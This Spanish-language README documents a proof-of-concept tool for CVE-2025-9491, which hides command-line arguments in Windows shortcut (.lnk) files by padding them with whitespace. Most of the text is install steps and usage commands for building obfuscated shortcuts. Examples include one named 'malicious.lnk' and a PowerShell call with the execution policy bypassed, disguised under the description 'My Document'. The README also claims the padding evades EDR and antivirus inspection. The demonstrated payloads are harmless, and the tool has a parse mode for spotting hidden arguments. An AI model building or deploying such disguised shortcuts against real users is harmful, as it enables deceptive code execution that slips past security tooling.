
Prueba de concepto del CVE-2025-9491 usando caracteres invisibles en los argumentos de un archivo de acceso directo de Windows (.lnk)
Una herramienta de prueba de concepto para demostrar la vulnerabilidad de los archivos de acceso directo (LNK) de Windows (ZDI-CAN-25373/CVE-2025-9491). Esta herramienta muestra cómo se pueden ocultar argumentos de línea de comandos maliciosos dentro de archivos .lnk aprovechando el relleno de caracteres de espacio en blanco.
**Esta herramienta se proporciona solo con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Use esta herramienta solo en sistemas que posea o tenga permiso explícito para probar.
Esta es una herramienta de prueba de concepto para crear y manipular archivos .lnk (accesos directos) de Windows con el fin de demostrar la vulnerabilidad CVE-2025-9491. La herramienta permite a los usuarios:
La vulnerabilidad explota cómo Windows muestra las propiedades de los archivos de acceso directo, permitiendo a los atacantes ocultar argumentos de línea de comandos maliciosos de los usuarios que inspeccionan el acceso directo.
CVE-2025-9491 es una vulnerabilidad de tergiversación de la interfaz de usuario de Windows que afecta a los archivos .lnk (accesos directos). Fue descubierta por la Iniciativa Zero Day de Trend Micro (ZDI-CAN-25373) y ha sido explotada por grupos APT patrocinados por estados desde al menos 2017 (consulte Créditos para obtener detalles adicionales al respecto).
La vulnerabilidad explota el campo de "Destino" de tamaño fijo de la interfaz de usuario de acceso directo de Windows. Al rellenar los argumentos con caracteres de espacio en blanco (espacio, tabulación, salto de línea, retorno de carro), un actor malicioso puede: ocultar comandos maliciosos y ejecutar cargas útiles ocultas. Esto también se puede utilizar para evadir la detección, ya que los usuarios que inspeccionan el acceso directo ven solo el espacio en blanco rellenado, no el comando real; el EDR tendrá una línea de comandos extremadamente larga en la telemetría y, si es lo suficientemente larga, el EPP o AV común abandonará su lectura por completo.
Se requiere Python 3.7 o superior.
Clone o descargue el repositorio:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
Instale las dependencias:
Método rápido y sucio, se prefiere venv.
pip install -r requirements.txt
Ejecute la herramienta:
python main.py --help
La herramienta tiene tres modos principales: create (crear), obfuscate (ofuscar) y parse (analizar).
Cree un nuevo archivo LNK ofuscado desde cero.
Sintaxis:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]
Argumentos requeridos:
-t, --target - Ruta al archivo ejecutable de destino-a, --arguments - Argumentos a pasar al ejecutable de destino-o, --output - Destino del archivo LNK de salidaArgumentos opcionales:
-c, --charset - Conjunto de caracteres personalizado para el relleno (formato HEX)
20,09,0A,0B,0C,0D (espacio, tabulación, LF, VT, FF, CR)-s, --padding_size - Número de caracteres de relleno
128 (sin límite conocido)-p, --pattern_type - Estilo de patrón de relleno
-i, --icon - Ruta a un icono personalizado para el acceso directo
-d, --description - Descripción visible para el acceso directo
-v, --verbose - Habilitar salida detallada
Ejemplo:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
Agregue relleno a los argumentos de un archivo LNK existente.
Sintaxis:
python main.py obfuscate -i INPUT -o OUTPUT [options]
Argumentos requeridos:
-i, --input - Ruta al archivo LNK existente a ofuscar-o, --output - Destino del archivo LNK de salidaArgumentos opcionales:
-c, --charset - Conjunto de caracteres personalizado para el relleno (formato HEX)
20,09,0A,0B,0C,0D-s, --padding_size - Número de caracteres de relleno
128-p, --pattern_type - Estilo de patrón de relleno
-v, --verbose - Habilitar salida detallada
Ejemplo:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
Muestre el contenido de un archivo LNK existente.
Sintaxis:
python main.py parse -i INPUT
Argumentos requeridos:
-i, --input - Ruta al archivo LNK a analizar y mostrarEjemplo:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
Esto crea un acceso directo a cmd.exe con un comando de PowerShell oculto precedido por 200 caracteres de relleno aleatorios.
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
Esto añade 512 caracteres de relleno de patrón mono (usando espacio y tabulación) a un acceso directo existente.
python main.py parse -i "suspicious.lnk"
La salida muestra todas las propiedades, incluidos los argumentos ocultos.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"